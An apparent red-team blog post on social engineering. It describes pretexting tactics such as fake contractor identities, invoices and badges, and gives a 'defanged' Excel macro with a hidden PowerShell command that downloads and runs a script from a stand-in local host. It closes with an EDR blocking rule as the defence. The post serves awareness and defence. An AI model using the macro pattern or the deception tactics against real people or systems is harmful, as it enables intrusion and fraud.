I’m starting to develop a serious allergy to these 'automated phishing simulation' tools on the market. Everyone seems to think that setting up GoPhish and sending out a couple of 'Click here for your pay raise' links to the company means they’ve conducted a massive 'social engineering test.' Look, folks—all you’re doing is wasting people’s time and raining unnecessary tickets down on the IT support team. Do you honestly think a real attacker in a Red Team operation is going to stay that 'generic'? Trying to build awareness in a production environment with tools like that is like handing someone a toy gun and telling them they're ready for war.
In the real world, social engineering is an art rather than just a tool; it’s a study in a psychological laboratory. Today, I’m going to walk you through the dark waters beyond those 'click-and-catch' simulations—how we pry open the back doors of the human mind and, more importantly, how you can lock them.
Pretexting: Not Just a Story, But an Identity
The foundation of social engineering lies in the pretext. As an attacker, if you say 'Hi, I’m from IT,' you’ll probably get kicked out. But if you prove that there’s a renovation happening in the office that day, the elevators are under maintenance, and you’re from the 'fiber optic measurement rental company'—backed up by a fake invoice and a badge—those doors will swing wide open for you.
In Red Teaming, we call this 'framing.' We manipulate the victim’s reality to infiltrate their world. For example, if we’re targeting testCompany employees, we first identify the third-party services they use (e.g., meal card providers, shipping companies).
Technical Vectors: The Silent Dance of Payloads
Getting someone to click a phishing link is the 'lazy' part of the job. But what about file-based attacks? What does that 'harmless' Excel file—prepared by an attacker to infiltrate the victim’s computer—actually do in the background? Here is a defanged macro example for you. This code is a typical starting point for a 'fileless' attack:
' Defanged Macro Example (For Educational Purposes)
Sub Auto_Open()
Dim shellCommand As String
' In a real attack, this would be a base64 encoded reverse shell.
' In this example, it only simulates a connection request.
shellCommand = "powershell.exe -NoP -NonI -W Hidden -Command IWR -Uri http://127.0.0.1/fake-update.ps1 -OutFile $env:TEMP\update.ps1; & $env:TEMP\update.ps1"
' Execute the shell command
' Shell shellCommand, vbHide
MsgBox "System Update Initiated...", vbInformation, "IT Department"
End Sub
As you can see in the code above, the moment the user opens the file and clicks 'Enable Content' (we usually trick them into this by showing a 'This file was created with an older version of Excel' warning), a PowerShell process kicks off in the background. What do we do on the defense side? We absolutely block excel.exe from spawning powershell.exe or cmd.exe on the EDR (Endpoint Detection and Response) level. It’s such a simple but critical rule.